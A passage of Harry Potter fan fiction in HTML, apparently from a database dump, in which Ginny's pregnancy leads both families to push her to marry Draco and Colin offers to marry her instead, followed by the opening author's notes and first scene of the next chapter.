sort of thing. <i>Babies</i>! At your age!&#8221;</p>\n\n<p></p>\n\n<p> Ginny was mildly shocked by her mother&#8217;s use of the word tart, considering it a subtle barb pointed at her. So she pursed her lips and decided to confront it all head-on . . . by shifting the attention to someone else. &#8220;Well, I didn&#8217;t do it to myself, you know.&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley finally acknowledged Draco with a sharp, whip-crack turn of his head. Ginny had seen many emotions flicker and distort her father&#8216;s face over the years, but the ugly red flush creeping up his neck seemed to bode badly for Draco. Ginny almost smiled, but she managed to contain herself by mimicking Mrs Malfoy&#8216;s frosty air of indifference.</p>\n\n<p></p>\n\n<p> &#8220;<i>You</i> did this!&#8221; Mr Weasley hissed, pointing his finger at Draco. &#8220;I let you stay in my home, against my better judgment, and you do this to <i>my daughter</i>!&#8221; he raged.</p>\n\n<p></p>\n\n<p> Draco had apparently never seen Mr Weasley when truly angry, and he recoiled back into his seat, his dark-circled eyes wide again. &#8220;<i>I</i> didn&#8217;t know about this!&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley stopped crying so suddenly that it was as if someone had turned off a tap. &#8220;You didn&#8217;t <i>know</i>?&#8221; she screeched. &#8220;It&#8217;s all fine for you, isn&#8217;t it? Don&#8217;t have to worry about other people&#8217;s feelings, do you? Oh, you are <i>just</i> like your father!&#8221;</p>\n\n<p></p>\n\n<p> Draco&#8217;s eyes tapered dangerously and he said in a quiet voice: &#8220;Your daughter is just as guilty as I am. And I am <i>nothing</i> like my father, madam.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy made a strange little hiccough noise and started mumbling again. &#8220;No pride. <i>No pride</i>! <i>My</i> son. He doesn&#8217;t care about the family name at all. No, not at all.&#8221;</p>\n\n<p></p>\n\n<p> Draco gritted his teeth, the sound particularly loud and sharp in the already tense environment. &#8220;Oh, do shut up already, Mother. I&#8217;ve grown quite sick of your little dramas. So perhaps if you could keep your opinions to yourself for once, we could get on with thi&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley stood up and slapped him across the face with an open hand. &#8220;Don&#8217;t speak to your mother that way, Draco Malfoy! I won&#8217;t stand for it.&#8221; Her fisted hands were knuckle-deep in the spongy mass of her hips as she glared at Draco.&#8221; I may not be fond of her, and I&#8217;m not fond of <i>you</i> at the moment, either. But I <i>will not</i> sit here and let you speak to her that way. Do you understand?&#8221;</p>\n\n<p></p>\n\n<p> Draco&#8217;s mouth dropped open and he managed to nod after a moment.</p>\n\n<p></p>\n\n<p> &#8220;Now apologise to her, <i>right now</i>!&#8221; Mrs Weasley stood with her hands now splayed open over her hips, tapping her foot expectantly. </p>\n\n<p></p>\n\n<p> &#8220;Yes, of course.&#8221; Draco whispered in a dumb tone. He turned to Mrs Malfoy. &#8220;I&#8217;m sorry, Mother,&#8221; he parroted.</p>\n\n<p></p>\n\n<p> She stared first at him and then at Mrs Weasley, blinking her large, silver eyes owlishly. Dumbledore stood and motioned for Mrs Weasley to take her seat again. Ginny had silently cheered for her mother when she&#8217;d slapped Draco and wished that Dumbledore hadn&#8217;t interfered so that she could do it again.</p>\n\n<p></p>\n\n<p> &#8220;Everyone calm down and we can discuss this like adults.&#8221; Dumbledore looked sternly at Mrs Weasley. &#8220;You&#8217;ve always had a bit of a temper, Molly. Do you think that you can control yourself long enough so that you all can start deciding what the next course of action will be?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley blushed. &#8220;I&#8217;m sorry, Albus. It won&#8217;t happen again.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore nodded and sat back down behind his desk, steepling his fingers over the wood. &#8220;Now, Miss Weasley&#8212;do you know how far along you are?&#8221;</p>\n\n<p></p>\n\n<p> Ginny stared at her shoes. &#8220;It was about Christmas, I suspect,&#8221; she mumbled, glancing at Draco&#8217;s pallid profile from the corner of her eye. &#8220;But I don&#8217;t know for sure.&#8221;</p>\n\n<p></p>\n\n<p> He snorted and looked away. &#8220;You should have been taking a potion to prevent this sort of thing.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I was, you thick sot! It didn&#8217;t work.&#8221;</p>\n\n<p></p>\n\n<p> Draco smirked. &#8220;Well, you did say that Professor Snape wanted Longbottom to tutor you in Potions, didn&#8217;t you?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ve not been feeling well, obviously, and I&#8217;m normally <i>excellent</i> in Potions!&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore cleared his throat and Ginny forced her eyes up to him, but he was looking at her father. &#8220;Arthur, is there anything that you would like to add to this? You&#8217;ve been quiet for a while.&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley ignored Ginny and settled his gaze on Draco. &#8220;I suppose that you&#8217;ll be man enough to do the right thing? Or did I misplace my trust in the fact that you&#8217;re <i>mostly </i>an honourable man?&#8221;</p>\n\n<p></p>\n\n<p> Draco smiled arrogantly and leaned back in his seat, folding his hands calmly over his thin middle. &#8220;I&#8217;m sorry, Mr Weasley, but I can&#8217;t marry her. I&#8217;m already engaged. Magical contract, you know.&#8221; He pushed his shoulders further into his chair to get comfortable and brought one foot up to rest on the opposite knee. &#8220;Can&#8217;t be broken.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy narrowed her eyes. &#8220;You&#8217;ve al<i>ready</i> broken it, you foolish boy!&#8221; She coughed delicately into a lace handkerchief. &#8220;It was broken the moment you compromised the Weasley girl.&#8221;</p>\n\n<p></p>\n\n<p> Draco whipped his head around so fast that it made <i>Ginny&#8216;s</i> brain tilt. &#8220;What? You mean I&#8217;m free? I don&#8217;t have to marry that Rosier girl?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re <i>not</i> free, Draco.&#8221; Mrs Malfoy spat.</p>\n\n<p></p>\n\n<p> But Ginny&#8217;s head was spinning while they continued to bicker, only this time from something else. She remembered Hermione&#8217;s words from that morning: <i>&#8216;Yes, Draco. No, Draco. Oh, let me knit a jumper to keep your poor little black heart warm, Draco.&#8217; </i>And that would be her life. She would live in a cold, dark manor house, far away from her family, knitting socks and ordering house-elves to make tea while she chased after hordes of little red-haired Malfoys. And every night, she would go to bed looking into Draco&#8217;s beautiful, blank eyes; listening to his petulant demands. He would play her like an instrument, using her own emotions against her, her own love against her. </p>\n\n<p></p>\n\n<p> Every night for the rest of her life.</p>\n\n<p></p>\n\n<p> &#8220;No,&#8221; Ginny whispered. &#8220;I won&#8217;t do it. You can&#8217;t make me do it.&#8221; She turned her gaze to her father, pleading. &#8220;Don&#8217;t make me marry him, Dad. Please. I-I don&#8217;t want to do this.&#8221;</p>\n\n<p></p>\n\n<p> But Mr Weasley wouldn&#8217;t look at her, he was squeezing his fingers tightly around a gold object in his hand, his eyes screwed shut and whispering something that sounded suspiciously like \'not again\'. Even her mother twisted her face away, staring at the far wall and some of the silver trinkets that lined the Headmaster&#8217;s office. Ginny finally turned her beseeching eyes to Draco.</p>\n\n<p></p>\n\n<p> &#8220;I don&#8217;t love you,&#8221; she lied. And for the first time, she admitted to herself that it <i>was</i> a lie. Ginny loved every inch of him: the thick dusting of dark gold hair that trailed down his chest, thinned on his firm stomach, and ended below; each and every scar that threaded over his back; the almost-desperation that radiated from him when she left his bed for her own; his keen intelligence and barbed wit; the hope that perhaps one day he could<font face="Times New Roman">&#8212;</font> Draco&#8217;s eyes now were hazy for a moment, and his mouth went slack before he schooled his features into something more Draco-like again. Ginny pressed on. &#8220;And you don&#8217;t love me,&#8221; she murmured. &#8220;Don&#8217;t let them do this to us, Draco. Please.&#8221;</p>\n\n<p></p>\n\n<p> He opened his mouth to say something, but his mother cut him off.</p>\n\n<p></p>\n\n<p> &#8220;Draco must maintain the family honour, girl. His <i>blood</i> speaks for him, not you. We are Malfoys; and as such, there are certain standards and traditions that we must keep. You&#8217;re of pure blood, from one of the oldest families in the country, and are a&#8212;&#8221; Narcissa narrowed her eyes. &#8220;A <i>suitable</i> match for my son. Even if you are a Weasley.&#8221;</p>\n\n<p></p>\n\n<p> Draco chuckled, seeming genuinely amused. &#8220;Don&#8217;t go on so about family honour, Mother.&#8221; He looked at her from the corner of his eye. &#8220;I know for a fact that you weren&#8217;t always so concerned about <i>Malfoy</i> honour.&#8221; Draco put a finger to his chin and tapped it mockingly, as if thinking. &#8220;Or was it someone else who ran away shortly after being forced to marry my father?&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy blanched and looked faint. &#8220;W-who told you about that?&#8221;</p>\n\n<p></p>\n\n<p> Draco shrugged. &#8220;Father. Post-humously, of course. I managed to save his journals from the Ministry. It&#8217;s not as if you or he would tell me anything otherwise.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy&#8217;s eyes filled with tears and when she closed them, one slipped like a glittering liquid diamond over the globe of her perfect white cheek. She quickly put her handkerchief to her mouth and turned away. Professor McGonagall stepped forward and conjured a cup of tea. She pressed it into Mrs Malfoy&#8217;s trembling hands and whispered words of comfort.</p>\n\n<p></p>\n\n<p> But Ginny didn&#8217;t have much sympathy to give Mrs Malfoy; she was too worried about what would happen next. She twisted her lips bitterly as she recalled something else Hermione had said on several occasions. &#8220;Hermione was right, you know; the wizarding world <i>is</i> ridiculously old-fashioned and hypocritical.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Weasley puffed up and turned to her daughter. &#8220;Well, we may be old-fashioned, as Hermione says, but it is the way things are done! And no one has ever been able to say that the Weasleys aren&#8217;t honest and upright, even if they do call us blood traitors. We work hard for what we have and we&#8217;ve always had a solid reputation with <i>decent</i> wizards.&#8221; She glanced surreptitiously at Draco and Mrs Malfoy before continuing. &#8220;We&#8217;ve always done the right thing and so will you. And your brother may be famous now for kil&#8212;<i>defeating </i>You-Know-Who, but even that will only stretch so far when <i>The Daily Prophet</i> hears about this! And surely they will if this isn&#8217;t taken care of quickly.&#8221; She wrung her hands and frittered. &#8220;Oh, <i>what</i> people will say . . .&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley placed a hand on his wife&#8217;s arm, a flash of gold chain peeping from under his fingers. &#8220;Perhaps we&#8217;ve been a bit hasty, Moll. I mean, this is a different time from when <i>we </i>were young, and maybe the Muggles have the right ide&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Don&#8217;t you dare say another word, Arthur Weasley!&#8221; Mrs Weasley shrilled, shaking off her husband&#8216;s hand. &#8220;We are <i>not</i> Muggles. I&#8217;ve let you fill the children&#8217;s heads with all sorts of their nonsense for far too long as it is, and look where they are now! Ginny will marry him. She&#8217;s made her bed - and she&#8216;s already sleeping in it!&#8221;</p>\n\n<p></p>\n\n<p> Mr Weasley&#8217;s face quickly turned beetroot, and he opened his mouth to reply, but Dumbledore cut in first.</p>\n\n<p></p>\n\n<p> &#8220;I know that I may be over stepping my bounds here, but I&#8217;m afraid that I agree with Molly on this, Arthur. Yes, the Muggles are a bit more accepting of this sort of situation. However, I must say that <i>our</i> society, regrettably, is not.&#8221; Dumbledore shook his head. &#8220;I wish that there were other options open to your daughter and young Mr Malfoy, but again, we are not Muggles. Their ways are not our ways, however much we may wish it were so.&#8221; He looked up at the ceiling, and around at the portraits on his wall. The occupants were all very poorly feigning sleep. &#8220;Perhaps one day, things will be different. One day we can all be free to live our lives <i>without fear</i>.&#8221; Dumbledore flicked a stern glance at Snape and the man flinched visibly before moulding back into his usual sour expression. &#8220;And choose our loves where we see fit without suffering repercussions and exile from those whose high regard we hold dear.&#8221; Dumbledore looked at Ginny now. &#8220;But, unfortunately, today is not that day.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But I don&#8217;t <i>want</i> to marry him!&#8221; Ginny burst out. &#8220;Doesn&#8217;t that count for anything? It would be horrid and I&#8217;d be miserable for the rest of my life.&#8221;</p>\n\n<p></p>\n\n<p> Draco snorted. &#8220;And surely it would be a picnic for me.&#8221; He smirked. &#8220;I didn&#8217;t hear you complain before I stopped shagging you, though.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes and I&#8217;m quite sure that your tarts of the hour know nothing about how you <i>really</i> are! A cold-blooded bastard who&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Shut up!&#8221; Draco yelled, standing up so fast that his chair fell over behind him. &#8220;I&#8217;ve told you never to call me that!&#8221;</p>\n\n<p></p>\n\n<p>Ginny stood up, too, and faced him, completely unafraid. &#8220;Oh, what are you going to do, <i>Dray-co</i>? Hit a girl?&#8221; She sneered. &#8220;You&#8217;re so pathetic.&#8221;</p>\n\n<p></p>\n\n<p> Dumbledore cleared his throat loudly and came to his feet, studying his watch before addressing the other Professors. &#8220;I&#8217;m sorry, but I must collect Mr Lupin at the front gates; we have some business to discuss. I&#8217;m sure that you two are adequate to handle this situation until I return?&#8221;</p>\n\n<p></p>\n\n<p> Snape nodded, his black eyes glittering with ill-concealed malice. Professor McGonagall also briefly acknowledged the Headmaster, waving her wand absently when Mrs Malfoy dropped her tea cup from shaking hands and it shattered on the floor. Everyone was silent as Dumbledore left, but after a moment, Mrs Malfoy spoke.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ll say this, and then I&#8217;m going home.&#8221; She turned to appraise Ginny, really looking at her for the first time with her quicksilver eyes. &#8220;You seem to be a strong girl. Capable of standing up to my son, even.&#8221; Her lips quivered as if she was repressing some emotion - perhaps a chilly laugh or a scream of impotent rage - but they stilled after a moment, and she continued in a thin, strained voice. &#8220;But you also seem to care about your family, and if word of this situation is made public, other things may be discovered as well if they dig deep enough.&#8221; Mrs Malfoy glanced at her hands. Her delicate feet were trembling as if she wanted nothing better than to run from the room. Ginny could easily empathise with that. &#8220;It&#8217;s not publicly known, for example, that your brother, Percy, was a Death Eater. And his&#8212;other associations could embarrass both of our families if they were discovered.&#8221; She stared at Draco and his face flushed, his hands curled into fists of impotent anger. Then she turned her silver eyes back to Ginny. &#8220;However, if you were to marry Draco, it could ease your family&#8217;s&#8212;danger of being exposed considerably, and perhaps take some of the Dark taint away from the Malfoy name as well. So I suggest that the two of you make whatever concessions are necessary.&#8221;</p>\n\n<p></p>\n\n<p> Ginny considered her feet, tapping her shoes together and idly wondering how long it would be until she could no longer see them. Finally she tipped her head back up to stare at Draco. His face was turned away from her, but his cheek was twitching. She was sure that he would scream if he could right then. Ginny felt the same way.</p>\n\n<p></p>\n\n<p> &#8220;And I think that you&#8217;ll find, as your brother did,&#8221; Mrs Malfoy continued. &#8220;That <i>Mond-Beleuchtetes Wasserhaus, </i>our home, is a very pleasant place. Our grounds are extensive and the night-blooming alchemist gardens famous throughout Britain. The house itself is quite large - though no longer technically a manor - and you may even have your own room if you wish&#8212;&#8221;</p>\n\n<p></p>\n\n<p> &#8220;She will <i>not</i> have her own room!&#8221; Draco snarled without warning, his flashing, pale grey eyes snapping over to look at Ginny. &#8220;She will stay with me,&#8221; he finished calmly.</p>\n\n<p></p>\n\n<p> There was a gleam of something fierce and wild suddenly in Mrs Malfoy&#8216;s eyes for just a moment before her head nodded in a strangely servile manner. </p>\n\n<p></p>\n\n<p> &#8220;Yes, well, whatever you prefer, Draco.&#8221; </p>\n\n<p></p>\n\n<p> Her lips curled up at the ends in the barest of triumphant smiles. &#8220;And she&#8217;ll be able to keep me company whenever you are gone.&#8221; Mrs Malfoy continued, sighing at the right places and letting one hand drift out in an elegantly casual supplication to her son. &#8220;I grow so lonely in that house by myself . . .&#8221; </p>\n\n<p></p>\n\n<p>Ginny could tell that there was much to learn from her future <i>mother-in-law.</i></p><i>\n\n</i><p></p>\n\n<p> Draco gritted his teeth together and turned away to walk over to his mother, helping her from her seat a bit more forcefully than necessary. </p>\n\n<p></p>\n\n<p> &#8220;Let me help you to the gates, Mother,&#8221; he ground out. &#8220;I&#8217;m sure that you can talk to Mr and Mrs Weasley about the contract tomorrow.&#8221; Draco went to lead her from the room, but Mr Weasley bounded from his seat to stop them.</p>\n\n<p></p>\n\n<p> &#8220;Just a moment there, Draco.&#8221; He shuffled his feet for a moment before looking at Mrs Malfoy. &#8220;I just wanted to thank you for what you tried to do for my son. We appreciate the effort even if he&#8212;&#8221; Mr Weasley swallowed hard. &#8220;Even if he didn&#8217;t follow your advice.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Arthur, what are you on about?&#8221; Mrs Weasley stood up and came over to them, tucking her hand into the crook of his arm as a silent peace treaty.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ll explain it later, Molly,&#8221; he said patiently before addressing Mrs Malfoy again. &#8220;You have our thanks, Narcissa.&#8221;</p>\n\n<p></p>\n\n<p> Mrs Malfoy looked at him for a moment impassively before nodding her head in acknowledgement. &#8220;He was a fine young man, your son. Even if he was na&#239;ve when it came to the way the world works. I&#8217;m only sorry that I could not keep my husband otherwise occupied. Lucius always was a rather&#8212; passionate man.&#8221; She traced her fingers around her throat where a small, silver scar glittered in Ginny&#8217;s sight. </p>\n\n<p></p>\n\n<p> Mr Weasley nodded before wiping the heel of his hand over his eyes roughly and sitting back in his seat. Mrs Weasley took this opportunity to look Draco over, pursing her lips. He straightened his posture almost unconsciously, no doubt anticipating the coming lecture. Ginny felt her lips curve into a smirk as she made eye contact with him over her mother&#8217;s shoulder. He scowled at her.</p>\n\n<p></p>\n\n<p> &#8220;Now, Draco&#8212;&#8221; Mrs Weasley began. &#8220;I suppose that you&#8217;re going to be family, so I shouldn&#8217;t club you over the head with my frying pan, which is what I feel like doing right now.&#8221; She glared at him for a moment. Ginny chuckled silently beside her. Usually she <i>saved</i> the frying pans for family, or whatever else was within reach. &#8220;I know that you&#8217;re a respectful boy under that exterior, and you&#8217;ll treat my daughter properly.&#8221; Mrs Weasley poked him in the ribs and he winced. &#8220;Merlin knows that you need a wife! Apparently, you don&#8217;t know how to take care of yourself, and I know that Ginny will at least <i>feed</i> you!&#8221; She tutted for a moment and fussed with his robes, smoothing them down over his chest and shoulders absently, Draco tightened his lips, but didn&#8217;t otherwise move or say anything. &#8220;So no more funny business for you, young man.&#8221; </p>\n\n<p></p>\n\n<p> Mrs Weasley waved her finger in his face before she broke away from the stern act and pulled him into a smothering hug. Draco&#8217;s eyes popped out and he tried to push her away. Mrs Weasley eventually stepped back and wiped at her wet cheeks before impulsively hugging Mrs Malfoy as well. She took it less graciously than her son, but again, Mrs Weasley didn&#8217;t notice.</p>\n\n<p></p>\n\n<p> &#8220;Now off with you. I&#8217;ll expect you tomorrow about tea time, Narcissa?&#8221; Mrs Weasley asked with a brisk air that Ginny had learnt over the years meant that she was forcing herself to be cheerful.</p>\n\n<p></p>\n\n<p> &#8220;I&#8212;&#8221; Mrs Malfoy sighed and tenderly rubbed her side. &#8220;I suppose that will be fine.&#8221; She turned toward the door again. &#8220;Come, Draco, I need to be home.&#8221;</p>\n\n<p></p>\n\n<p> She opened the door and walked out, her full, rich robes roiling gracefully around her ankles as Draco followed behind her. He caught Ginny&#8217;s eye as he left, but she couldn&#8217;t read his expression.</p>\n\n<p></p>\n\n<p> &#8220;Now, Ginny&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Ginny groaned as her mother and father launched into a speech. It was mostly her mother talking about how disappointed she was, with her father injecting bits here and there. Roughly half way through, Snape rolled his eyes and left the office. Only McGonagall stayed behind, looking as though she was trying desperately not to laugh - which would utterly destroy the fragile balance of teacher/mentor she strived to maintain - at Ginny&#8217;s discomfort.</p>\n\n<p></p>\n\n<p> Eventually though, after many a severe word was repeated until Mrs Weasley finally broke down and hugged her as Mr Weasley was pushing her through the door, Ginny was able to escape back to Gryffindor tower with a pulsing headache.</p>\n\n<p></p>\n\n<p> Colin was waiting up for her in the common room. It was almost midnight now and everyone else had gone to bed. He smiled and beckoned her over, patting his lap.</p>\n\n<p></p>\n\n<p> &#8220;Come over here, Gin-girl. You look tired. Rest up while you tell me all about it?&#8221;</p>\n\n<p></p>\n\n<p> Ginny flopped down on the sofa and let her head fall in his lap, burying her face in his stomach. &#8220;My head is splitting and I really don&#8217;t want to talk about it. But I promised you, so I suppose I can give it a try.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Aww, poor Ginny.&#8221; He lifted her hair off of her neck and started rubbing her head absently. &#8220;Tell Uncle Colin. Sounds like you had quite an experience.&#8221;</p>\n\n<p></p>\n\n<p> Ginny moaned and nestled deeper into his fuzzy jumper. Colin always smelled so nice. It wasn&#8217;t a sexy beast sort of smell like Draco had, it was more the eau de biscuits, grass, and dirt that seemed to cling to some boys. &#8220;You have no idea.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Well?&#8221; he prompted.</p>\n\n<p></p>\n\n<p> &#8220;You&#8217;re going to murder me.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;No, I won&#8217;t.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Yes, you will.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Try me.&#8221;</p>\n\n<p></p>\n\n<p> Ginny sighed. &#8220;Well, first things first, I suppose,&#8221; she mumbled. &#8220;It seems that I&#8217;m pregnant.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I could have sworn you just said&#8212; you did say, didn&#8216;t you?&#8221; Colin rattled out and Ginny stuck her face further into his jumper to avoid having to look at him. She hoped that the grassy smell would calm her down, and the biscuit smell wouldn&#8217;t make her hungry again.</p>\n\n<p></p>\n\n<p> &#8220;Oh, it gets worse,&#8221; she confided to the thick woollen folds of his jumper.</p>\n\n<p></p>\n\n<p> &#8220;How could it be any worse!&#8221; Colin pulled her up to look at him. &#8220;Ginny, you said that you were taking that potion. You said that you would be all right!&#8221;</p>\n\n<p></p>\n\n<p> Ginny pushed her hair out of her face and climbed onto his lap, swinging her legs up to rest her feet on his right hipbone. &#8220;I <i>know</i>. But Hermione did some research and it turns out that the potion was crap to begin with.&#8221; Ginny fingered the collar of his shirt that was peeking through under Colin&#8217;s jumper. &#8220;She did say that it works, but not well, even when made properly; and I made such a <i>thorough</i> cock-up of the first batch that I&#8217;m assuming . . .&#8221;</p>\n\n<p></p>\n\n<p> Colin wrapped his arms around Ginny and tugged her back to his chest. She could feel the echo of breath in his lungs and closed her eyes, lulled by the sound.</p>\n\n<p></p>\n\n<p> &#8220;You said it gets worse?&#8221; he asked after a moment. His voice rumbled under her cheek and it comforted her. Colin was so familiar and so safe.</p>\n\n<p></p>\n\n<p> &#8220;I&#8217;m being forced to marry Draco.&#8221;</p>\n\n<p></p>\n\n<p> He held her back at arm&#8217;s length, his eyebrows almost in his hairline. &#8220;You&#8217;re having me on. Say that again?&#8221;</p>\n\n<p></p>\n\n<p> Ginny looked away. &#8220;I said that I&#8217;m being forced to marry Draco.&#8221;</p>\n\n<p></p>\n\n<p> Colin spluttered. &#8220;But they can&#8217;t do that! No one can <i>force</i> you to&#8212; What is this, the Dark Ages? It&#8217;s the twentieth century, here, Gin. I mean, I knew that the wizarding world was behind the times, but&#8212;&#8221;</p>\n\n<p></p>\n\n<p> She nodded. &#8220;Hermione said much the same thing today.&#8221; Ginny laughed bitterly. &#8220;Oh, I can&#8217;t wait until she finds out about <i>this</i>! She&#8217;ll probably start some type of organisation or formal protest.&#8221;</p>\n\n<p></p>\n\n<p> This was all Hermione&#8217;s fault and Ginny didn&#8217;t plan on speaking to her for a long time, if ever again. If only the girl hadn&#8217;t blabbed to McGonagall just because she was finally feeling like normal Hermione again. If only she&#8217;d let Ginny continue on in blissful ignorance for a while longer. </p>\n\n<p></p>\n\n<p> Ginny&#8217;s breath hitched and she let her head thud onto Colin&#8217;s shoulder. &#8220;Oh, God. I don&#8217;t want to marry him, Colin. It&#8217;s going to be a nightmare. But it&#8217;ll be worse if I don&#8217;t marry him. Because of Ron, <i>The Prophet</i> is sure to have a good go at us, and Mrs Malfoy said that they&#8217;ll probably dig up all sorts of rubbish on both our families; things that no one knows, about Percy and Mr Malfoy and&#8212; oooohh.&#8221; Ginny groaned.</p>\n\n<p></p>\n\n<p> They were both quiet for a while, thoughts swirling through her mind. She was just about to fall asleep, safe in Colin&#8217;s warmth, when he spoke: </p>\n\n<p></p>\n\n<p> &#8220;I&#8217;ll marry you, Gin.&#8221;</p>\n\n<p></p>\n\n<p> Ginny&#8217;s head snapped up and she looked him squarely in the eye. &#8220;What?&#8221;</p>\n\n<p></p>\n\n<p> &#8220;I said that I&#8217;ll marry you,&#8221; he stated firmly. &#8220;So long as you marry someone, <i>The Daily Prophet</i> won&#8217;t be able to say anything, and they won&#8217;t go digging around in your past - or Malfoy&#8217;s - because they won&#8217;t have a reason.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;Oh, Colin, don&#8217;t joke about that! It isn&#8217;t funny.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;It wasn&#8217;t meant to be, Ginny.&#8221; Colin took her hand in his and squeezed it. &#8220;I may prefer men, but I&#8217;ve always loved you. You know that you&#8217;ve always been the only woman for me, the only woman that ever tempted me to go <i>back</i> to women.&#8221;</p>\n\n<p></p>\n\n<p> She placed her free hand on his cheek and swallowed a lump in her throat. &#8220;No, Colin. This is my mess and I couldn&#8217;t let you throw your life away like that.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But I wouldn&#8217;t be throwing my life away, Ginny!&#8221; His eyes misted and Ginny&#8217;s nose and lungs throbbed in response. &#8220;I&#8217;d be with <i>you</i>,&#8221; Colin whispered, lifting his hand to caress her cheek with his thumb, his fingers curled around the back of her ear. She was close enough to smell his sunshiny breath on her face. &#8220;And we&#8217;ve always been happy together. We&#8217;re the best of friends, and that&#8217;s a fine base for a marriage. You could even see other men if you wanted to; I wouldn&#8217;t mind at all so long as you returned the favour. Or we could make it a real marriage; you know I&#8217;m good for it. Either way, we could take care of your baby together. I&#8217;ve always wanted to have kids someday, but I never thought I would because of my preferences. We could be happy, Gin. We could be a family together. I know we could.&#8221;</p>\n\n<p></p>\n\n<p> Ginny sobbed and kissed him chastely on the mouth. It would be so easy to marry Colin. Ginny was more than tempted to be selfish, to keep him for herself and piss on Draco Malfoy. But she couldn&#8217;t do that to her best friend, no matter what he might say. &#8220;Colin, I don&#8217;t think it would work,&#8221; she said, her voice thick with tears. &#8220;I would be miserable because I&#8217;d know that you would be unhappy.&#8221; She put a finger over his lips. &#8220;And you can&#8217;t tell me that you wouldn&#8217;t because I know you. You like parties and dancing with your mates.&#8221; Ginny looked at her belly and swiped her lips with a dry tongue. &#8220;You don&#8217;t deserve to be tied down like that.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;But I wouldn&#8217;t be unhappy.&#8221; Colin protested softly. &#8220;I wouldn&#8217;t. I&#8217;d have you and we could be&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Ginny shook her head and Colin stopped talking. &#8220;I know we could. We could be a lot of things. But this isn&#8217;t one of them, Colin.&#8221;</p>\n\n<p></p>\n\n<p> He was weeping freely now, and his voice was rough when he spoke again.</p>\n\n<p>\n\n</p>\n\n<p> &#8220;I just can&#8217;t stand by and let you marry him, Ginny. I can&#8217;t allow you to be thrown away like that!&#8221; His lip trembled. &#8220;You stupid pure-bloods with your stupid traditions and rules, and&#8212;&#8221; Colin&#8217;s chest heaved and shuddered before he closed his eyes. &#8220;You deserve so much better,&#8221; he whispered. &#8220;And I feel like I&#8217;m losing you.&#8221;</p>\n\n<p></p>\n\n<p> Ginny put her arms around him and nuzzled her nose into the crook of his neck. &#8220;I know that Harry has always been your hero, Colin, but <i>you</i> are mine,&#8221; she murmured against his moist, flushed skin. &#8220;Just stay with me a bit longer?&#8221; Her voice crackled and she smothered her face in his collar. </p>\n\n<p></p>\n\n<p> &#8220;I need a friend, tonight.&#8221;</p>\n\n</font><font size="2">\n\n<p>\n\n</p>\n\n<b>\n\n</b></font><b><p><font size="2">\n\n</font><font size="4">Flame me please, it&#8217;s terribly cold where I am now and we&#8217;re out of kindling.</font></p></b>\n\n</blockquote>\n\n '),
	(271, 30, ' <blockquote>\n\n<font face="Palatino Linotype">\n\n<p>Authour&#8217;s Notes: I&#8217;m sorry that it&#8217;s taken so long to get this chapter out. I was hoping that I would have found a second beta reader to look this over, but since my best option doesn&#8217;t have the time due to uni restraints and none of the other volunteers ever wrote back to me, I&#8217;m posting this today with only one beta putting it through the wringer - my beloved Alexis.</p>\n\n<p>Currently I&#8217;m writing up a scene in chapter 33, but I skipped over 32 so I need to go back and do that because it&#8217;s a very important chapter. I have no idea when chapter 30 will be posted since that relies solely on Alexis&#8217; free time and if I can find a second beta reader to help speed things along for her.</p>\n\n<p>About chapter 30, I&#8217;m quite excited about it because some of the issues with Percy and Lucius come more into play and Narcissa gets her first real POV with all the lovely and twisted thoughts in her head.</p>\n\n<p>As for chapter 29, this chapter, there are so many clues as to what exactly is wrong with Draco here, which I almost hope no one picks up on. If anyone does, though, send me an email or review explaining your theories. I probably won&#8217;t confirm it, but it may make for lively discussion. </p>\n\n<p>Again, I thank all the lovely reviewers that make my life and AIDE a bit richer with your words, constructive comments, and support. Cheers.</p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>Draco escorted his mother through the corridors and downstairs to the main entrance of Hogwarts, a million thoughts whirling through his head. He belatedly noticed that she was speeding ahead of him and he leapt forward to grab her arm.</p>\n\n<p></p>\n\n<p>&#8220;What&#8217;s the rush, Mother?&#8221; he asked, squeezing her upper arm painfully and delighting in her quiet intake of breath. &#8220;You seemed happy enough to plan out my life a few moments ago and now you want to leave? How very rude.&#8221;</p>\n\n<p></p>\n\n<p> Narcissa sniffed contemptuously and continued to walk. &#8220;I want to go home. I&#8217;ve been in that dreary hotel for months and I&#8217;ll enjoy being the sole mistress of Malfoy Manor just a while longer before you bring in that little Weasley tart.&#8221;</p>\n\n<p></p>\n\n<p> &#8220;<i>You</i> were the one who pushed for marriage,&#8221; Draco said icily. &#8220;I don&#8217;t really care who I marry, but I&#8217;m sure that we could have worked out an arrangement with the Weasleys so that I would still be free to marry the Rosier girl. We needed her money and now we don&#8217;t have 